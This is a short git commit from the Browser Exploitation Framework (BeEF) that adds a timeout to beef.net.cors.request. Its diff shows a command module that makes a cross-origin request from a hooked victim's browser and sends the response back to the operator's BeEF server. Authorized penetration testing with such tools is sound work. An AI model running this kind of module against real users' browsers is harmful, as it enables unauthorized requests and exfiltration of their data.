Add timeout option to beef.net.cors.request

This commit is contained in:
Brendan Coles
2016-04-02 06:46:23 +00:00
parent 26e1672227
commit ffb15892a4
4 changed files with 8 additions and 4 deletions

View File

@@ -9,8 +9,9 @@ beef.execute(function() {
var method = "<%= @method %>";
var url = "<%= @url %>";
var data = "<%= @data %>";
var timeout = 15000;
beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
beef.net.cors.request(method, url, data, timeout, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
});